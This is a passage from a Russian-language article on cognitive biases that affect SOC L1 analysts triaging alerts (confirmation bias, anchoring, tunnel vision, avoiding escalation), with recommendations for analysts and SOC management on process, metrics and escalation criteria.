В этом случае можно пропустить вредоносную активность, в том числе начальные стадии атаки, если злоумышленник использует легитимные инструменты или маскирует свои действия под штатные.

Подтверждение гипотезы

Аналитик ищет преимущественно те факты, которые подтверждают его первоначальную гипотезу, и уделяет недостаточно внимания данным, способным ее опровергнуть.

Пример

Специалист знает, что определенный сценарий часто приводит к ложноположительным срабатываниям, поэтому начинает анализ, сразу предполагая, что и этот алерт окажется ложноположительным. При проверке он сосредоточивается на подтверждении этой версии, а не на поиске возможных признаков атаки.

В этом случае можно пропустить вредоносную активность и несвоевременно эскалировать инцидент, даже если в доступных данных есть признаки компрометации.

Привязка к первоначальной оценке

Аналитик полагается на приоритет алерта, заданный системой, и игнорирует критерии его повышения или понижения при уведомлении заказчика.

Пример

Аналитик обнаруживает потенциально вредоносную активность в ночное время, но оставляет первоначальный приоритет инцидента, не учитывая обстоятельства, которые могут требовать его повышения.

Из-за некорректного приоритета заказчик или аналитик L2 может отложить рассмотрение карточки инцидента. Из-за этого сократится время на реагирование, тогда как злоумышленник сможет продолжить атаку и продвинуться по инфраструктуре.

Информационная перегрузка 

При большом потоке алертов и риске нарушения SLA аналитик стремится обработать как можно больше срабатываний за короткое время. Высокая нагрузка усиливает влияние когнитивных искажений и может снижать качество анализа.

Пример

Аналитик видит большое количество необработанных алертов и сосредоточивается на том, чтобы быстрее уменьшить очередь. В результате он уделяет меньше внимания проверке каждого срабатывания.

В такой ситуации легко пропустить вредоносную активность, что снизит эффективность SOC L1.

Туннельное зрение

Аналитик ограничивается анализом одного типа данных (например, сетевого трафика) и не проверяет другие доступные источники телеметрии. Это особенно актуально, если у заказчика используется несколько SIEM-систем.

Пример

Аналитик видит срабатывание АВПО, но не проверяет события на хосте для определения природы активности.

Из-за этого специалист может пропустить вредоносную активность или не восстановить полную цепочку атаки.

Слепое копирование прошлых решений 

Аналитик полагается на предыдущие вердикты коллег или результаты автоматической классификации, не проверяя их применимость к текущему событию.

Пример

Аналитик закрывает алерт как ложноположительный, поскольку коллеги ранее выносили такой вердикт по аналогичным срабатываниям. При этом обстоятельства нового события он не проверяет.

Из-за этого может произойти ошибочная классификация алерта и пропуск вредоносной активности.

Избегание эскалации 

Аналитик откладывает или избегает эскалации при наличии сомнений. Он может опасаться, что ошибочно принимает легитимную активность за атаку, или не хотеть перегружать L2 и заказчика лишними уведомлениями.

Пример

Специалист обнаруживает потенциально вредоносную активность, но не эскалирует событие, предполагая, что настоящая атака обязательно вызовет множество срабатываний на хосте.

Из-за этого заказчик или L2 поздно узнают о потенциальном инциденте. Злоумышленник получает дополнительное время для продвижения по инфраструктуре, закрепления и обхода средств защиты.

Способы противостоять когнитивным искажениям

Полностью избавиться от когнитивных искажений невозможно. Но можно выстроить аналитический процесс, который помогает замечать и компенсировать их влияние. Хороший аналитик — не тот, кто считает себя объективным, а тот, кто понимает, в каких ситуациях может ошибиться, и выстраивает процедуры для проверки собственных выводов.

Рекомендации по снижению влияния когнитивных искажений

Стандартизировать процессы анализа

• Использовать чек-листы, плейбуки или другие фреймворки для первичного анализа алертов и инцидентов, чтобы снизить влияние субъективных оценок.

• Следовать формализованной последовательности действий независимо от «очевидности» алерта или инцидента.

• Фиксировать выводы только на основании проверяемых данных (события SIEM).

Разделять факты и интерпретации

В результатах анализа необходимо четко разграничивать:

• подтвержденные факты;

• предположения и гипотезы;

• выводы.

Нельзя использовать формулировки вида «Наблюдается…», «В событиях зафиксировано…» вместо «Вероятно…» без обоснования.

Формулировать и проверять альтернативные гипотезы

Для каждого инцидента рассматривать минимум две версии:

• вредоносная активность;

• легитимная активность или техническая особенность.

Активно искать данные, которые могут опровергнуть основную гипотезу, а не только подтвердить ее.

Учитывать контекст и особенности уже зафиксированных инцидентов

• Не переносить выводы из предыдущих алертов и инцидентов автоматически на текущий случай.

• Оценивать каждый инцидент независимо, даже если он похож на ранее обработанный.

Осторожно обрабатывать алерты с низким доверием

Не занижать приоритет инцидента только из-за частого срабатывания правила или того, что аналогичные алерты обычно оказывались ложноположительными. Каждое срабатывание должно быть проверено до принятия решения о фильтрации.

Документировать неопределенность

Если данных недостаточно для однозначного вывода:

• явно зафиксировать уровень неопределенности;

• указать, какие данные отсутствуют;

• описать, какие шаги необходимы для прояснения ситуации.

Не следует подменять неопределенность ложной уверенностью.

Регулярно получать обратную связь и разбирать кейсы

Анализировать закрытые инциденты вместе с L2, чтобы определить:

• где были допущены преждевременные выводы;

• какие события были проигнорированы;

• какие искажения могли повлиять на решение.

Использовать результаты разбора для корректировки подходов к анализу.

Управлять собственной нагрузкой и усталостью

• Соблюдать регламенты смен и перерывов.

• Понимать, что высокая нагрузка и усталость напрямую усиливают когнитивные искажения.

Роль руководства SOC в создании условий для качественного анализа

Качество анализа зависит не только от компетенций аналитиков, но и от условий, в которых они принимают решения. Если организационные правила стимулируют как можно быстрее закрывать алерты, эскалировать как можно чаще и давать однозначный ответ, аналитик будет вынужден подстраивать расследование под эти требования.

Руководству SOC необходимо определить:

• Объем первичной проверки: какие данные и признаки L1 проверяет по каждому сценарию детектирования.

• Критерии решения: когда алерт можно закрыть, когда требуется эскалация на L2 и когда необходимо уведомить заказчика.

• Доступный контекст: сведения об активах, учетных записях, согласованных работах и типичной активности.

• Правила контроля качества: как проверяется обоснованность закрытий и эскалаций.

Задача руководства — не исключить все ошибки аналитиков, а создать условия, в которых у них достаточно времени, данных и полномочий для проверки гипотез. Аналитики должны иметь возможность эскалировать сложные случаи и открыто сообщать о неопределенности, не опасаясь давления со стороны метрик. Такие условия помогают SOC сочетать скорость реагирования с качеством анализа: типовые алерты обрабатываются быстро, а сложные случаи получают необходимое время и ресурсы для обоснованного решения.

Согласовать терминологию и ожидания

В SOC необходимо согласовать значения рабочих терминов и критерии их применения. Например, для вердиктов true positive, false positive и benign positive нужно определить, какие факты служат основанием для каждой классификации.

Также важно согласовать ожидания от сервисов и функций, с которыми взаимодействует SOC. Например, если threat intelligence (TI) рассматривается преимущественно как поставщик данных об угрозах, от TI ожидают работы с IoC и их распространения. Если задачи TI включают анализ угроз, атакующих, их инфраструктуры и TTPs, следует определить, какие аналитические материалы TI предоставляет, кому они предназначены и как используются в работе SOC.

Такое единое понимание необходимо самим аналитикам, тем, кто контролирует их работу, и заказчикам, поскольку на основе согласованных определений они формируют ожидания от соответствующей функции и оценивают ее результаты.

Учитывать баланс скорости и качества анализа

Скорость обработки алертов — важный показатель для SOC. Однако, если она становится самоцелью, аналитики могут сокращать глубину проверки, чтобы быстрее принять решение и перейти к следующему алерту.

В результате аналитик может:

• ограничиваться первичными признаками вместо полноценного анализа;

• проверять только наиболее очевидную гипотезу, не рассматривая альтернативные;

• недостаточно использовать контекст и дополнительные источники данных;

• не фиксировать неопределенность и допущения в результате анализа;

• пропускать связанные события, которые могли бы изменить первоначальный вывод.

Особенно опасна ситуация, когда скорость становится самостоятельным показателем эффективности. Например, отслеживается, сколько алертов аналитик закрыл за смену или насколько быстро был закрыт конкретный алерт. В таком случае система метрик может неосознанно стимулировать не поиск правильного ответа, а быстрое получение приемлемого ответа.

При этом проблема не в самой скорости. Для SOC важно быстро реагировать на потенциальные угрозы, особенно на события с высоким риском. Но качество анализа страдает, когда требования по времени не учитывают сложность и неопределенность конкретного детектирующего сценария.

Разбирать избыточные уведомления об инцидентах

Руководству SOC необходимо контролировать обоснованность тикетов, направляемых заказчику. Если L1 передает каждое подозрительное событие без доступных проверок и понятного основания, первичный анализ фактически перекладывается на заказчика.

В каждом тикете должны быть указаны установленные факты, результаты проверок, оставшаяся неопределенность и конкретный запрос к заказчику. Аналитик должен объяснить, почему для дальнейшего разбора необходимы данные, подтверждение или действия заказчика.

При регулярном разборе отправленных тикетов руководителю стоит проверять:

• выполнил ли аналитик обязательные и доступные проверки;

• мог ли SOC обоснованно завершить анализ самостоятельно;

• требовалось ли участие заказчика на момент отправки уведомления.

Если заказчик регулярно подтверждает одну и ту же штатную активность, нужно выяснить, чего не хватает SOC: контекста, критериев закрытия, настройки детекта или подготовки аналитиков.

При этом последующее подтверждение легитимности не делает эскалацию ошибочной: необходимые сведения могли быть доступны только заказчику. Решение следует оценивать по информации, которой аналитик располагал на момент передачи.

Оценка качества должна учитывать как необоснованные закрытия, так и избыточные уведомления. Если самостоятельное решение воспринимается как риск, а передача любого сомнения заказчику — как безопасный выход, поток тикетов будет расти. Понятные критерии и разбор ошибок должны помогать аналитикам принимать обоснованные решения.

Заключение

Работа аналитика SOC L1 — это не просто обработка очереди алертов. За каждым вердиктом стоит решение, которое приходится принимать при неполной информации и ограниченном времени. Даже хорошее знание инструментов и техник атак не гарантирует правильного вывода, если специалист слишком доверяет первой гипотезе или не замечает противоречащие ей данные.

Полностью избавиться от когнитивных искажений не получится. Но можно научиться замечать их влияние: проверять альтернативные объяснения, отделять факты от предположений, учитывать контекст и вовремя признавать, что данных для уверенного решения недостаточно.

При этом качество анализа зависит не только от самого специалиста. Если в SOC ценится прежде всего скорость закрытия алертов, а любое сомнение лучше передать заказчику, то даже внимательному аналитику будет сложно работать качественно. Поэтому нужны понятные критерии проверки и эскалации, обратная связь и возможность разбирать ошибки без давления метрик.

Главное — не пытаться любой ценой подтвердить первоначальную версию. Хороший анализ начинается с готовности ее пересмотреть, если факты говорят об обратном.